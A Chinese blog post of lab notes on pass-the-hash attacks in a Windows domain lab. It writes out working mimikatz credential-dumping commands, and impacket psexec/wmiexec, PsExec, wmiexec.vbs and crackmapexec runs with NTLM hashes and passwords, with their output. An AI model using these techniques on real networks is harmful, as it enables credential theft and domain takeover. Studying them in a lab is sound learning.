【PTH(pass the hash) 哈希传递】


环境:

  • win7 192.168.177.134/24
  • kali 192.168.177.129/24
  • 12server-01 192.168.177.119/24
  • 12server-dc 192.168.177.120/24

原理

  • pass-the-hash 在内网渗透中是一种很经典的攻击方式,因为黑客可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
  • 在 Windows 系统中,通常会使用 NTLM 身份认证。
  • NTLM 认证不使用明文口令,而是使用口令加密后的hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)。
  • hash 分为 LM hash 和 NT hash,如果密码长度大于15,那么无法生成LMhash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用LMhash。
  • 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户。

mimikatz

在 12server-01 运行以下命令获取 NTLM
C:\Users\test\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">password.txt
在这里插入图片描述
在 12server-01 上以管理员权限使用 mimikatz,hash利用上面获取的,成功调出终端
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:e19ccf75ee54e06b06a5907af13cef42
在这里插入图片描述

在其他主机上用这个 NTLM 好像也能调出终端,但我遇见点小问题,所以这里没成功。

psexec

psexec 是 windows 官方自带的,不存在查杀问题。
在 pstools 中利用 psexec 可以在远程计算机上执行命令,其基本原理:通过管道在远程目标主机上创建一个 psexec 服务,并在本地生成一个 psexesvc 的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,前提条件:445 服务端口开放(相当于开放了 smb 协议)。

注意事项

  • 远程系统开启 admin$ 开启(默认开启)
  • 因为 psexec 连接的原理是基于 IPC 共享的,因此目标需要开放 445 端口
  • 在使用 psexec 执行远程命令式,会在目标系统创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
  • 在域环境测试时发现,非域用户无法利用内存中的票据使用PsExec 功能,只能依靠账号和密码进行传递。

方法一

win7 使用 PsExec 工具远程连接 12server-01 服务器。
PsExec.exe /accepteula /s \\192.168.177.119 -u Administrator -p P@ssw0rd cmd
在这里插入图片描述

方法二

登录域成员
在 kali 中用 impacket 包下的 psexec 结合 NTLM 调出终端

┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 psexec.py -hashes aaaa:e19ccf75ee54e06b06a5907af13cef42 ./Administrator@192.168.177.119
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 192.168.177.119.....
[*] Found writable share ADMIN$
[*] Uploading file CTfKaEwM.exe
[*] Opening SVCManager on 192.168.177.119.....
[*] Creating service dyYx on 192.168.177.119.....
[*] Starting service dyYx.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.3.9600]
(c) 2013 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>ipconfig
 
Windows IP ┼Σ╓├


╥╘╠½═°╩╩┼Σ╞≈ Ethernet0:

   ┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . : 
   ▒╛╡╪┴┤╜╙ IPv6 ╡╪╓╖. . . . . . . . : fe80::64b0:83c8:1d58:44eb%12
   IPv4 ╡╪╓╖ . . . . . . . . . . . . : 192.168.177.119
   ╫╙═°╤┌┬δ  . . . . . . . . . . . . : 255.255.255.0
   ─¼╚╧═°╣╪. . . . . . . . . . . . . : 192.168.177.2

╦φ╡└╩╩┼Σ╞≈ isatap.{DA36902B-CF3E-482E-A260-6E8DE6295090}:

   ├╜╠σ╫┤╠¼  . . . . . . . . . . . . : ├╜╠σ╥╤╢╧┐¬
   ┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . : 

登录域控

┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 psexec.py moonsec/Administrator@192.168.177.120
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
[*] Requesting shares on 192.168.177.120.....
[*] Found writable share ADMIN$
[*] Uploading file BoHrJhLr.exe
[*] Opening SVCManager on 192.168.177.120.....
[*] Creating service fsqM on 192.168.177.120.....
[*] Starting service fsqM.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.3.9600]
(c) 2013 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>ipconfig
 
Windows IP ┼Σ╓├


╥╘╠½═°╩╩┼Σ╞≈ Ethernet0:

   ┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . : 
   ▒╛╡╪┴┤╜╙ IPv6 ╡╪╓╖. . . . . . . . : fe80::8013:6c69:3dcc:c4cf%12
   IPv4 ╡╪╓╖ . . . . . . . . . . . . : 192.168.177.120
   ╫╙═°╤┌┬δ  . . . . . . . . . . . . : 255.255.255.0
   ─¼╚╧═°╣╪. . . . . . . . . . . . . : 192.168.177.2

╦φ╡└╩╩┼Σ╞≈ isatap.{73872ACF-A392-4C0C-B7FE-84F1C096DB1D}:

   ├╜╠σ╫┤╠¼  . . . . . . . . . . . . : ├╜╠σ╥╤╢╧┐¬
   ┴¼╜╙╠╪╢¿╡─ DNS ║≤╫║ . . . . . . . : 

C:\Windows\system32>

方法三

建立 IPC$

C:\Users\CISP>net use \\192.168.177.119\ipc$ "P@ssw0rd" /user:administrator
命令成功完成。

C:\Users\CISP>dir \\192.168.177.119\c$
 驱动器 \\192.168.177.119\c$ 中的卷没有标签。
 卷的序列号是 4E38-4215

 \\192.168.177.119\c$ 的目录

2013/08/22  23:52    <DIR>          PerfLogs
2024/08/26  15:01    <DIR>          Program Files
2013/08/22  23:39    <DIR>          Program Files (x86)
2024/09/10  21:15    <DIR>          Users
2024/09/11  21:58    <DIR>          Windows
               0 个文件              0 字节
               5 个目录 52,824,035,328 可用字节

建立 IPC$ 连接后再调用终端就不用账密了,但是我这里调不出来,闪退
在这里插入图片描述

利用 msf hash 模块

先跳过了
在这里插入图片描述

crackmapexec

CrackMapExec 可以对 C 段中的主机进行批量 pth。

┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# crackmapexec smb 192.168.177.0/24 -u administrator -H e19ccf75ee54e06b06a5907af13cef42  
SMB         192.168.177.1   445    DORAEMON0358     [*] Windows 11 Build 22621 x64 (name:DORAEMON0358) (domain:Doraemon0358) (signing:False) (SMBv1:False)
SMB         192.168.177.1   445    DORAEMON0358     [-] Doraemon0358\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE 
SMB         192.168.177.120 445    12SERVER-DC      [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-DC) (domain:moonsec.fbi) (signing:True) (SMBv1:True)
SMB         192.168.177.119 445    12SERVER-01      [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-01) (domain:moonsec.fbi) (signing:False) (SMBv1:True)
SMB         192.168.177.120 445    12SERVER-DC      [+] moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
SMB         192.168.177.134 445    CISP-PC          [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:CISP-PC) (domain:CISP-PC) (signing:False) (SMBv1:True)
SMB         192.168.177.119 445    12SERVER-01      [+] moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!)
SMB         192.168.177.134 445    CISP-PC          [-] CISP-PC\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE 

命令

-H e19ccf75ee54e06b06a5907af13cef42:指定要尝试的 NTLM 哈希值。这是一个用于认证的密码哈希值

  1. SMB 192.168.177.1 445 DORAEMON0358 [*] Windows 11 Build 22621 x64 (name:DORAEMON0358) (domain:Doraemon0358) (signing:False) (SMBv1:False)

    • IP 地址192.168.177.1
    • 端口445(SMB 的默认端口)
    • 计算机名称DORAEMON0358
    • 状态[*] 表示发现了一个 SMB 服务正在运行
    • 系统信息:Windows 11 Build 22621 x64
    • 域名:Doraemon0358
    • 签名:False(SMB 签名未启用)
    • SMB 版本:SMBv1 未启用

    认证结果Doraemon0358\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE 表示提供的哈希值无法成功登录。

  2. SMB 192.168.177.120 445 12SERVER-DC [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-DC) (domain:moonsec.fbi) (signing:True) (SMBv1:True)

    • IP 地址192.168.177.120
    • 计算机名称12SERVER-DC
    • 系统信息:Windows Server 2012 R2 Standard 9600 x64
    • 域名:moonsec.fbi
    • 签名:True(SMB 签名启用)
    • SMB 版本:SMBv1 启用

    认证结果moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!) 表示提供的哈希值成功登录,并且账户被标记为“Pwn3d” (被攻陷)。

  3. SMB 192.168.177.119 445 12SERVER-01 [*] Windows Server 2012 R2 Standard 9600 x64 (name:12SERVER-01) (domain:moonsec.fbi) (signing:False) (SMBv1:True)

    • IP 地址192.168.177.119
    • 计算机名称12SERVER-01
    • 系统信息:Windows Server 2012 R2 Standard 9600 x64
    • 域名:moonsec.fbi
    • 签名:False(SMB 签名未启用)
    • SMB 版本:SMBv1 启用

    认证结果moonsec.fbi\administrator:e19ccf75ee54e06b06a5907af13cef42 (Pwn3d!) 表示提供的哈希值成功登录,并且账户被标记为“Pwn3d”。

  4. SMB 192.168.177.134 445 CISP-PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:CISP-PC) (domain:CISP-PC) (signing:False) (SMBv1:True)

    • IP 地址192.168.177.134
    • 计算机名称CISP-PC
    • 系统信息:Windows 7 Ultimate 7601 Service Pack 1 x64
    • 域名:CISP-PC
    • 签名:False(SMB 签名未启用)
    • SMB 版本:SMBv1 启用

    认证结果CISP-PC\administrator:e19ccf75ee54e06b06a5907af13cef42 STATUS_LOGON_FAILURE 表示提供的哈希值无法成功登录。

WMI

WMI 全称Windows Management Instrumentation即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。
由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmic 命令

在终端中用 wmic 执行命令,将执行结果保存在目标主机;之后建立 IPC$,使用 type 读取执行结果。
使用 wmic 连接远程主机,需要目标主机开放 135 端口(wmic 默认的管理端口),445 端口(wmicexec 使用此端口传回显)。
但是我又遇到问题了(写到 12server01 上了呀,但找不见),先跳过
在这里插入图片描述
在这里插入图片描述

wmiexec.py

利用 kali 上的 impacket 包里的 wmiexec.py 脚本获取 shell

┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─# python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.177.119 "whoami"  
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
12server-01\administrator

获取明文 shell

┌──(root㉿lihao)-[~/Desktop/impacket-master/examples]
└─#  python3 wmiexec.py administrator:P@ssw0rd@192.168.177.119
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
12server-01\administrator

C:\>

wmiexec.vbs

利用 wmiexec.vbs 脚本(脚本通过 VBS 调用 wmi 来模拟 psexec 的功能)

C:\Users\CISP>cd Desktop

C:\Users\CISP\Desktop>cscript //nologo wmiexec.vbs /shell 192.168.177.119 admini
strator P@ssw0rd
WMIEXEC : Target -> 192.168.177.119
WMIEXEC : Connecting...
WMIEXEC : Login -> OK
WMIEXEC : Result File -> C:\wmi.dll
WMIEXEC : Share created sucess.
WMIEXEC : Share Name -> WMI_SHARE
WMIEXEC : Share Path -> C:\
C:\Windows\system32>ipconfig

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::64b0:83c8:1d58:44eb%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.177.119
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.177.2

隧道适配器 isatap.{DA36902B-CF3E-482E-A260-6E8DE6295090}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

C:\Windows\system32>

使用 vmiexec.vbs 执行单条命令

C:\Users\CISP\Desktop>cscript wmiexec.vbs /cmd 192.168.177.119 administrator P@s
sw0rd "ipconfig"
Microsoft (R) Windows Script Host Version 5.8
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

WMIEXEC : Target -> 192.168.177.119
WMIEXEC : Connecting...
WMIEXEC : Login -> OK
WMIEXEC : Result File -> C:\wmi.dll
WMIEXEC ERROR: Share could not be created.
WMIEXEC ERROR: Return value -> 22
WMIEXEC ERROR: Share Name Already In Used!

        192.168.177.119  >>  ipconfig

Windows IP 配置


以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::64b0:83c8:1d58:44eb%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.177.119
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.177.2

隧道适配器 isatap.{DA36902B-CF3E-482E-A260-6E8DE6295090}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

WMIEXEC : Share deleted sucess.

C:\Users\CISP\Desktop>

其他

Invoke-WmiCommand.ps1PowerSploit工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。
Invoke-WMIMethodPowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
wmic 还有一些其他命令

参考:暗月师傅

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值